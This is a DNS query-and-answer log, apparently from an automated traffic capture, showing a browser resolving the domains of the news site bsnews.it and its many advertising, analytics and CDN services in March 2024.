Mar 28, 2024 09:52:45.553431034 CET	192.168.2.4	1.1.1.1	0xbe11	Standard query (0)	oxp.mxptint.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.913872004 CET	192.168.2.4	1.1.1.1	0x2cef	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.913978100 CET	192.168.2.4	1.1.1.1	0x133c	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:46.045854092 CET	192.168.2.4	1.1.1.1	0x2c32	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:46.046082020 CET	192.168.2.4	1.1.1.1	0x9d27	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:47.859675884 CET	192.168.2.4	1.1.1.1	0xc750	Standard query (0)	visitor.omnitagjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:47.859898090 CET	192.168.2.4	1.1.1.1	0x7c1e	Standard query (0)	visitor.omnitagjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:48.375776052 CET	192.168.2.4	1.1.1.1	0x8c9a	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:48.375991106 CET	192.168.2.4	1.1.1.1	0x5dd	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:48.429811001 CET	192.168.2.4	1.1.1.1	0xb9db	Standard query (0)	s.ad.smaato.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:48.429997921 CET	192.168.2.4	1.1.1.1	0xb516	Standard query (0)	s.ad.smaato.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2024 09:50:57.334173918 CET	1.1.1.1	192.168.2.4	0xa938	No error (0)	www.bsnews.it		104.21.27.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:57.334173918 CET	1.1.1.1	192.168.2.4	0xa938	No error (0)	www.bsnews.it		172.67.169.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:57.416596889 CET	1.1.1.1	192.168.2.4	0x1c9d	No error (0)	www.bsnews.it			65	IN (0x0001)	false
Mar 28, 2024 09:50:58.094285965 CET	1.1.1.1	192.168.2.4	0xf95	No error (0)	bsnews.it			65	IN (0x0001)	false
Mar 28, 2024 09:50:58.328090906 CET	1.1.1.1	192.168.2.4	0x8ad1	No error (0)	bsnews.it		172.67.169.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.328090906 CET	1.1.1.1	192.168.2.4	0x8ad1	No error (0)	bsnews.it		104.21.27.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.871094942 CET	1.1.1.1	192.168.2.4	0xf6db	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 28, 2024 09:50:58.871463060 CET	1.1.1.1	192.168.2.4	0xb2e	No error (0)	www.google.com		172.253.62.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.871463060 CET	1.1.1.1	192.168.2.4	0xb2e	No error (0)	www.google.com		172.253.62.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.871463060 CET	1.1.1.1	192.168.2.4	0xb2e	No error (0)	www.google.com		172.253.62.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.871463060 CET	1.1.1.1	192.168.2.4	0xb2e	No error (0)	www.google.com		172.253.62.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.871463060 CET	1.1.1.1	192.168.2.4	0xb2e	No error (0)	www.google.com		172.253.62.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:58.871463060 CET	1.1.1.1	192.168.2.4	0xb2e	No error (0)	www.google.com		172.253.62.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.477304935 CET	1.1.1.1	192.168.2.4	0x3a9	No error (0)	stats.wp.com		192.0.76.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.478256941 CET	1.1.1.1	192.168.2.4	0x8c1e	No error (0)	secure.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.479815006 CET	1.1.1.1	192.168.2.4	0x3491	No error (0)	v0.wordpress.com	lb.wordpress.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:50:59.479815006 CET	1.1.1.1	192.168.2.4	0x3491	No error (0)	lb.wordpress.com		192.0.78.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.479815006 CET	1.1.1.1	192.168.2.4	0x3491	No error (0)	lb.wordpress.com		192.0.78.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.480501890 CET	1.1.1.1	192.168.2.4	0x7e0d	No error (0)	v0.wordpress.com	lb.wordpress.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:50:59.517759085 CET	1.1.1.1	192.168.2.4	0xe661	No error (0)	c0.wp.com		192.0.77.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.532756090 CET	1.1.1.1	192.168.2.4	0xcd1e	No error (0)	cdn.codesour.com	1910864371.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:50:59.532756090 CET	1.1.1.1	192.168.2.4	0xcd1e	No error (0)	1910864371.rsc.cdn77.org		37.19.206.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.533940077 CET	1.1.1.1	192.168.2.4	0x1083	No error (0)	cdn.codesour.com	1910864371.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:50:59.577084064 CET	1.1.1.1	192.168.2.4	0x33d5	No error (0)	i0.wp.com		192.0.77.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.625682116 CET	1.1.1.1	192.168.2.4	0x32ae	No error (0)	2.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.630584002 CET	1.1.1.1	192.168.2.4	0x108b	No error (0)	1.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.678350925 CET	1.1.1.1	192.168.2.4	0x7848	No error (0)	0.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.722120047 CET	1.1.1.1	192.168.2.4	0x2602	No error (0)	s0.wp.com		192.0.77.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:50:59.728015900 CET	1.1.1.1	192.168.2.4	0x4f19	No error (0)	widgets.wp.com		192.0.77.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.686892986 CET	1.1.1.1	192.168.2.4	0x1298	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:01.686892986 CET	1.1.1.1	192.168.2.4	0x1298	No error (0)	star-mini.c10r.facebook.com		157.240.229.35	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.688330889 CET	1.1.1.1	192.168.2.4	0xbfdd	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:01.782776117 CET	1.1.1.1	192.168.2.4	0x8287	No error (0)	bsnews.it			65	IN (0x0001)	false
Mar 28, 2024 09:51:01.882697105 CET	1.1.1.1	192.168.2.4	0xeaab	No error (0)	app.digitrend.it		146.59.136.188	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.904575109 CET	1.1.1.1	192.168.2.4	0x418a	No error (0)	bsnews.it		104.21.27.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:01.904575109 CET	1.1.1.1	192.168.2.4	0x418a	No error (0)	bsnews.it		172.67.169.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:02.475016117 CET	1.1.1.1	192.168.2.4	0x621c	No error (0)	cdn.onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:02.475016117 CET	1.1.1.1	192.168.2.4	0x621c	No error (0)	cdn.onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:02.475275040 CET	1.1.1.1	192.168.2.4	0xa212	No error (0)	cdn.onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:03.046341896 CET	1.1.1.1	192.168.2.4	0x6376	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:03.046341896 CET	1.1.1.1	192.168.2.4	0x6376	No error (0)	scontent.xx.fbcdn.net		31.13.66.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:03.047810078 CET	1.1.1.1	192.168.2.4	0xd4a7	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:04.228427887 CET	1.1.1.1	192.168.2.4	0x1511	No error (0)	widgets.wp.com		192.0.77.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.302468061 CET	1.1.1.1	192.168.2.4	0x80d5	Name error (3)	panel.statisticsong.com	none	none	65	IN (0x0001)	false
Mar 28, 2024 09:51:05.344136953 CET	1.1.1.1	192.168.2.4	0xa775	No error (0)	static.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:05.344136953 CET	1.1.1.1	192.168.2.4	0xa775	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:05.346940994 CET	1.1.1.1	192.168.2.4	0xb08c	Name error (3)	panel.statisticsong.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	static.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.161.15.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		212.102.45.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		138.199.8.195	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		54.38.37.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.571950912 CET	1.1.1.1	192.168.2.4	0x2993	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.81.154.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:05.712332010 CET	1.1.1.1	192.168.2.4	0x1020	Name error (3)	panel.statisticsong.com	none	none	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:07.923693895 CET	1.1.1.1	192.168.2.4	0x9d40	No error (0)	pixel.wp.com		192.0.76.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:07.979876041 CET	1.1.1.1	192.168.2.4	0xb8ef	No error (0)	s0.wp.com		192.0.77.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.055782080 CET	1.1.1.1	192.168.2.4	0x8de1	No error (0)	secure.gravatar.com		192.0.73.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.188237906 CET	1.1.1.1	192.168.2.4	0xbdc9	No error (0)	i0.wp.com		192.0.77.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.190782070 CET	1.1.1.1	192.168.2.4	0x23fb	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:08.191112995 CET	1.1.1.1	192.168.2.4	0x39bd	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:08.191112995 CET	1.1.1.1	192.168.2.4	0x39bd	No error (0)	scontent.xx.fbcdn.net		157.240.229.1	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.879879951 CET	1.1.1.1	192.168.2.4	0xbcc1	No error (0)	analytics.google.com		142.251.163.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.879879951 CET	1.1.1.1	192.168.2.4	0xbcc1	No error (0)	analytics.google.com		142.251.163.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.879879951 CET	1.1.1.1	192.168.2.4	0xbcc1	No error (0)	analytics.google.com		142.251.163.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.879879951 CET	1.1.1.1	192.168.2.4	0xbcc1	No error (0)	analytics.google.com		142.251.163.113	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.879879951 CET	1.1.1.1	192.168.2.4	0xbcc1	No error (0)	analytics.google.com		142.251.163.102	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.879879951 CET	1.1.1.1	192.168.2.4	0xbcc1	No error (0)	analytics.google.com		142.251.163.138	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.892921925 CET	1.1.1.1	192.168.2.4	0x6d6f	No error (0)	stats.g.doubleclick.net		142.251.167.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.892921925 CET	1.1.1.1	192.168.2.4	0x6d6f	No error (0)	stats.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.892921925 CET	1.1.1.1	192.168.2.4	0x6d6f	No error (0)	stats.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:08.892921925 CET	1.1.1.1	192.168.2.4	0x6d6f	No error (0)	stats.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:09.273808002 CET	1.1.1.1	192.168.2.4	0x35eb	No error (0)	onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:09.273808002 CET	1.1.1.1	192.168.2.4	0x35eb	No error (0)	onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:09.274768114 CET	1.1.1.1	192.168.2.4	0x7eb4	No error (0)	onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:09.508537054 CET	1.1.1.1	192.168.2.4	0x5c7d	No error (0)	s.w.org		192.0.77.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.713155985 CET	1.1.1.1	192.168.2.4	0x5231	No error (0)	public-api.wordpress.com		192.0.78.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.713155985 CET	1.1.1.1	192.168.2.4	0x5231	No error (0)	public-api.wordpress.com		192.0.78.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.956806898 CET	1.1.1.1	192.168.2.4	0x7b52	No error (0)	audience.codesour.tech		35.190.43.167	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.977181911 CET	1.1.1.1	192.168.2.4	0x1ce9	No error (0)	bsnews.os.tc			65	IN (0x0001)	false
Mar 28, 2024 09:51:10.977540016 CET	1.1.1.1	192.168.2.4	0x8d50	No error (0)	bsnews.os.tc		104.16.144.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:10.977540016 CET	1.1.1.1	192.168.2.4	0x8d50	No error (0)	bsnews.os.tc		104.16.143.23	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	services.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		212.102.45.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.81.154.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		138.199.8.195	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.161.15.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.275379896 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	cec01.usg.sunmedia.edgetcdn.net		54.38.37.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.314399958 CET	1.1.1.1	192.168.2.4	0xa856	No error (0)	services.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:11.314399958 CET	1.1.1.1	192.168.2.4	0xa856	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:11.319016933 CET	1.1.1.1	192.168.2.4	0x90d	No error (0)	clickiocmp.com		192.96.201.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.319016933 CET	1.1.1.1	192.168.2.4	0x90d	No error (0)	clickiocmp.com		199.115.115.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.894469023 CET	1.1.1.1	192.168.2.4	0xc3ab	No error (0)	pixel.wp.com		192.0.76.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.930258036 CET	1.1.1.1	192.168.2.4	0xd1b8	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:11.930491924 CET	1.1.1.1	192.168.2.4	0x6785	No error (0)	www.google.com		142.251.16.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.930491924 CET	1.1.1.1	192.168.2.4	0x6785	No error (0)	www.google.com		142.251.16.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.930491924 CET	1.1.1.1	192.168.2.4	0x6785	No error (0)	www.google.com		142.251.16.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.930491924 CET	1.1.1.1	192.168.2.4	0x6785	No error (0)	www.google.com		142.251.16.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.930491924 CET	1.1.1.1	192.168.2.4	0x6785	No error (0)	www.google.com		142.251.16.104	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:11.930491924 CET	1.1.1.1	192.168.2.4	0x6785	No error (0)	www.google.com		142.251.16.106	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.075042963 CET	1.1.1.1	192.168.2.4	0xc0cf	No error (0)	s.richaudience.com		208.115.237.110	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.083640099 CET	1.1.1.1	192.168.2.4	0xcdbc	No error (0)	cdn.onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:12.083719015 CET	1.1.1.1	192.168.2.4	0xe568	No error (0)	cdn.onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.083719015 CET	1.1.1.1	192.168.2.4	0xe568	No error (0)	cdn.onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.085993052 CET	1.1.1.1	192.168.2.4	0x1f72	No error (0)	track.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:12.085993052 CET	1.1.1.1	192.168.2.4	0x1f72	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	track.sunmedia.tv	caching.sunmedia.edge2befaster.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	caching.sunmedia.edge2befaster.net	cec01.usg.sunmedia.edgetcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		138.199.8.195	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		143.244.35.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		212.102.45.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		54.38.37.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.161.15.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:12.434103966 CET	1.1.1.1	192.168.2.4	0x9ee6	No error (0)	cec01.usg.sunmedia.edgetcdn.net		51.81.154.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.002825022 CET	1.1.1.1	192.168.2.4	0x792	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.227164984 CET	1.1.1.1	192.168.2.4	0x9fe3	No error (0)	sync.richaudience.com		162.55.236.224	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.572576046 CET	1.1.1.1	192.168.2.4	0x607d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:13.572576046 CET	1.1.1.1	192.168.2.4	0x607d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.730129004 CET	1.1.1.1	192.168.2.4	0x8639	No error (0)	s.w.org		192.0.77.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.738588095 CET	1.1.1.1	192.168.2.4	0x76a8	No error (0)	boot.pbstck.com		104.22.1.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.738588095 CET	1.1.1.1	192.168.2.4	0x76a8	No error (0)	boot.pbstck.com		172.67.25.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.738588095 CET	1.1.1.1	192.168.2.4	0x76a8	No error (0)	boot.pbstck.com		104.22.0.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740245104 CET	1.1.1.1	192.168.2.4	0x7373	No error (0)	launchpad-wrapper.privacymanager.io		52.85.151.46	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740245104 CET	1.1.1.1	192.168.2.4	0x7373	No error (0)	launchpad-wrapper.privacymanager.io		52.85.151.43	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740245104 CET	1.1.1.1	192.168.2.4	0x7373	No error (0)	launchpad-wrapper.privacymanager.io		52.85.151.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740245104 CET	1.1.1.1	192.168.2.4	0x7373	No error (0)	launchpad-wrapper.privacymanager.io		52.85.151.88	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740904093 CET	1.1.1.1	192.168.2.4	0x19f3	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740904093 CET	1.1.1.1	192.168.2.4	0x19f3	No error (0)	securepubads46.g.doubleclick.net		142.251.16.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.740904093 CET	1.1.1.1	192.168.2.4	0x19f3	No error (0)	securepubads46.g.doubleclick.net		142.251.16.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.741502047 CET	1.1.1.1	192.168.2.4	0xf82f	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:13.742841005 CET	1.1.1.1	192.168.2.4	0x12f4	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:13.742841005 CET	1.1.1.1	192.168.2.4	0x12f4	No error (0)	d1ykf07e75w7ss.cloudfront.net		3.162.128.169	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:13.743053913 CET	1.1.1.1	192.168.2.4	0x79b6	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:14.916800976 CET	1.1.1.1	192.168.2.4	0x5ede	No error (0)	sync.richaudience.com		162.55.236.224	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:17.852159023 CET	1.1.1.1	192.168.2.4	0xeeb1	No error (0)	js.omg.neodatagroup.com	exaudi.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:17.852159023 CET	1.1.1.1	192.168.2.4	0xeeb1	No error (0)	scdn1.wpc.731fa.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:17.852159023 CET	1.1.1.1	192.168.2.4	0xeeb1	No error (0)	sni1gl.wpc.alphacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:17.856434107 CET	1.1.1.1	192.168.2.4	0xbdd5	No error (0)	js.omg.neodatagroup.com	exaudi.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:17.856434107 CET	1.1.1.1	192.168.2.4	0xbdd5	No error (0)	scdn1.wpc.731fa.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.100195885 CET	1.1.1.1	192.168.2.4	0xb28a	No error (0)	cstatic.weborama.fr	wpc.1F34.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.100195885 CET	1.1.1.1	192.168.2.4	0xb28a	No error (0)	wpc.1F34.edgecastcdn.net	fp2e18.wpc.1f34.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.100195885 CET	1.1.1.1	192.168.2.4	0xb28a	No error (0)	fp2e18.wpc.1f34.deltacdn.net	fp2e18.wpc.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.100195885 CET	1.1.1.1	192.168.2.4	0xb28a	No error (0)	fp2e18.wpc.deltacdn.net		152.199.6.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.103532076 CET	1.1.1.1	192.168.2.4	0x3	No error (0)	cstatic.weborama.fr	wpc.1F34.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.103532076 CET	1.1.1.1	192.168.2.4	0x3	No error (0)	wpc.1F34.edgecastcdn.net	fp2e18.wpc.1f34.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.103532076 CET	1.1.1.1	192.168.2.4	0x3	No error (0)	fp2e18.wpc.1f34.deltacdn.net	fp2e18.wpc.deltacdn.net		CNAME (Canonical name)	IN (0x0001)	false
